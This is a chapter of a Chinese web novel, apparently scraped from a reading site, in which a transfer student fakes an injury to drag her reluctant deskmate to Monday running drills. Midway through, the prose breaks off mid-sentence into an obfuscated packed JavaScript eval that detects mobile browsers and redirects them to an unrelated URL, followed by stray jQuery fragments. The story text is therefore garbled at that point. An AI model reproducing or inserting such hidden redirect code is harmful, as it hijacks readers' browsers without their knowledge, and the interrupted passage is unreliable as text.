默认冷灰
24号文字
方正启体

9. 第 9 章

作者:霁下本书字数:K更新时间:
    “啊,对了,”田乌桑这才想起来,她抬眼看着旁边的人,“刚才课间的时候,尔浮来找过你。”


    “尔浮?”


    钟叙舟的声音听起来有些古怪,他坐下来,重新拿起笔,又开始有一点没一点的在纸上写写画画:“我知道,刚才遇到他了。”


    刚才在外面就已经遇到了……田乌桑突然有点好奇,难道钟叙舟还得突破那群狂热粉丝的包围壁吗?她有点想象不出,像钟叙舟这样的人被挤得东倒西歪,脸上会是什么个表情。


    他应该会冷着一张脸,厌恶地拍拍任何被触碰过的地方,然后用那种居高临下的目光,让所有人自觉地让出一条路来。


    田乌桑被自己的想法逗笑了。忽然间,一阵激昂的跑操音乐毫无预兆地响起,打断了她的思绪。班长站在门口,喊着大家下去跑操。


    全班响起一片此起彼伏的哀嚎声,桌椅挪动间与地面摩擦着,发出刺耳的响声。


    “走了走了,今天可是星期一。”


    “哎呀!”沈月宴烦躁地摊在桌子上不愿意动弹,“星期一大早上的不仅要跑操,还要跑翻倍圈数,不知道人家现在又困又累吗!”


    和沈月宴的萎靡不同,徐今反而很精神。她系好鞋带后站起来,一把将沈月宴从桌子上半拖半拽地拉起来。


    “赶紧走吧,周一的跑操可是要记名的,等会被查到就不好了。”


    沈月宴无精打采地挂在徐今身上,等走到门口时,她又猛地回头。


    “田乌桑同学,你也要记得下来跑操啊!”


    田乌桑还坐在座位上,闻言,她朝着沈月宴弯了弯嘴角:“知道了,我马上就来。”


    因为田乌桑是转学生,很多事情不一定清楚,所以沈月宴才好心提醒一句。得到了答复,沈月宴也没多等,跟着徐今一起走出了教室。


    教室里的人走得都很快,等田乌桑穿好外套准备下去时,整个教室已经空了。


    看来是真的会记名啊……


    桌椅被挤得歪歪扭扭,除了她以外,只剩下低着头不知道在干什么的钟叙舟。


    田乌桑起身,向前门走了几步,忽然又停下脚步,转头看向她的同桌:“你不下去吗?”


    “去什么去?”钟叙舟眼皮都懒得抬,语气里带着几分莫名其妙,“我周一从来就没跑过操。”


    外面冻得要死,学校还非要组织所有人下去迎着寒风运动,况且周一跑圈数翻倍,算下来一共要绕着操场跑十圈。真是又蠢又无聊的一项活动,他才不去。


    钟叙舟摆明了准备长在椅子上当懒鬼,但田乌桑还是不死心。


    “徐今刚才说了,不去的话会记名的。”


    “爱怎么记怎么记。”钟叙舟头也不抬,对田乌桑的担忧视而不见,“不差这一次。”


    记名这种事,一旦开了头就停不下来。从去年开始,他被记名扣分的次数已经数不胜数,钟叙舟现在完全不在意自己是不是会再多一条处分,反正对他来说无关痛痒。


    真是……


    田乌桑深呼吸,想起自己之所以会到这里来的原因。


    怪不得谢女士那么担心钟叙舟在学校的成长。


    就是因为他多次无视学校纪律,所以才会被一次次地叫家长啊!


    既然她来了,那她的主要任务就是盯着钟叙舟好好上学,尽可能让他少被扣分,能好好读完高中。


    想到这里,田乌桑脚步一拐,又走回教室里。她走到自己的座位旁,就这么靠在桌边,居高临下地看着钟叙舟。


    那目光实在太过炙热,钟叙舟被盯了一会,终于忍无可忍地抬起头。


    “看我干嘛?赶紧跑你的操去。”


    田乌桑深知能动手就不废话原则,她二话不说,直接伸手抓住了钟叙舟的袖子,拉着他的手臂就往外拽。


    钟叙舟猝不及防,被大力扯得往旁边一歪。但他并没有甩开她的手,只是啧了一声:“我说了不去。”


    “去一下又不会怎么样。”


    “会死。”他语气认真得不像在开玩笑,“碰到风我就想死,迈开腿我也想死,离开这个教室我马上就会死。”


    “不准死。”田乌桑手上力道不减,“我只知道,等会被记名了,我们两个才真的要死。”


    钟叙舟先是不可置信地瞪着她,然后嗤笑一声:“那好啊,我们两个一起被记名好了,到时候还可以请两次家长过来。”他的声音里带着几分玩味,“我也很久没有见过我妈了呢,说起来真是多亏你了。”


    嘴上说是这么说,钟叙舟试着抽了抽手臂,却发现对方将他抓得很紧,就像前几天抓他翻墙时一样。


    到底从哪里找来的怪力女啊!


    两个人又暗自较劲了一会。直到钟叙舟不受控制地往旁边一点一点倾斜,屁股也渐渐从椅子上滑开,可他却怎么也甩不开那只看起来纤弱的手臂。


    “田乌桑,放手!”


    钟叙舟站起来,低头瞪着她。他的表情依然是那副厌烦无所谓的样子,眼神有点凶,语气间能听出一丝咬牙切齿。


    田乌桑一点都不怕,她自然是不可能松手的。钟叙舟有个特别明显的弱点,他特别害怕有人对他肢体接触,所以一有这种机会,就是说服他的好时候。


    “放手是不可能放手的。”


    她来这就是为了让他好好上学,现在他要故意逃操扣分,那不就是在和她作对吗!


    她的脸颊因为用力而微微泛红,总算褪去了平日那种没有血色的苍白。两个人像拔河一样僵持在座位旁,田乌桑两只手一起上,整个人重心都往后仰。钟叙舟想甩开又甩不掉,干脆腾出另一只手,打算把外套脱了。


    男女授受不亲,他就不信了。难不成田乌桑还能把他拽下去不成?


    田乌桑看到了他脱外套的过程,却没有阻止。就在钟叙舟成功甩脱外套,力道突然无法维持平衡之际,她顺着那股惯性,整个人往后一倒。


    ”咚。“


    她的手肘看似无意地磕在身后的课桌上,发出一声钝响,听着就很痛。


    与此同时,田乌桑往后滑的右手暗自


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501184|202742||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在桌面上借力,侧腰精准地虚抵上了桌角。她稳稳当当地站着,根本没有被磕到撞到,脸上却露出了一副痛苦的神色,眉头紧皱,倒吸了一口凉气。


    “嘶……”


    真撞到了?


    钟叙舟懵了。


    “不是吧?”他走了过来,僵在她面前不敢动,目光落在她抵在桌角的侧腰上,“你是笨蛋吗?拽我外套到底用了多大力啊!你就不会松手吗?”


    怎么会有这么不知变通,一根筋走到底的蠢女人!她平时不是挺灵活脑子转的很快吗,这么这个时候又这么呆了!


    田乌桑扁扁嘴,努力学着电视剧里人物的表情,硬着头皮摆出一幅委屈脸。


    “都怪你,害我被桌子撞到了,真的很痛啊。”


    她掐着自己的手心,努力想挤出两滴鳄鱼泪。可无论怎么努力,田乌桑现在都很想笑,实在哭不出来只能抬手捂住眼睛,嘴里还发出呜呜呜的哭声。


    钟叙舟下意识想安慰她,又不敢真的碰到田乌桑的皮肤,抬起手又放下,来来回回好几次,终于是败给了她。


    “对不起,我不是故意的。”


    他在心里暗骂自己。差点忘了,虽然小跟班力气很大,但她看起来也是被风一吹就会倒下的纤弱模样。之前那股怪力肯定是意外,毕竟她也是个娇滴滴的女孩子啊!


    奇怪的愧疚感突然涌了上来,钟叙舟僵在原地,站在田乌桑面前手足无措。


    田乌桑适时发出几声啜泣,哭声渐渐低了下去。她悄悄张开手指缝,从缝隙里偷看钟叙舟的表情。


    ……咦?这么好骗?


    “都怪你!不行,你要向我赔不是,顺带答应我一个要求!”她趁热打铁,想到了一个好主意。


    钟叙舟眉头蹙起,突然觉得这几句话好像很耳熟,但他又想不起来在哪听过。眼下的情况不容他多想,他只好妥协道:“说吧,能答应的事我一定会答应你……”


    话还没说完,田乌桑立马把手放了下来。钟叙舟能清晰地看到,她的鼻子和眼眶一点都不红,一点水痕也没有,脸蛋虽然红红的,嘴唇也润润的,但没有半分真哭了的痕迹。


    “我只有一个要求。”她的声音平稳又认真。


    钟叙舟:“等……”


    “现在,和我下去跑操。再不去,等下真的要被记名了。”


    他们已经在上面拖拖拉拉好长一段时间,跑操的准备音乐即将进入尾声,再不下去就真的要被记名了。


    钟叙舟深吸一口气:“骗子,你根本就没哭。”


    田乌桑抿了抿嘴,演技大爆发后突然又有点愧疚,感觉自己在用很可恶的理由骗小孩打针。


    虽然但是,钟叙舟真的比青屿里的小孩们还好骗啊。


    她不说话,愧疚的目光在钟叙舟看来却是祈求。他真是拿她没招,嘴上愤怒地控诉着,身体却很诚实,把手机往外套里一揣,自愿地往教室外面走去。


    “走吧,不是要跑操吗?”


    田乌桑一愣,看着钟叙舟的背影,很快又跟了上去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)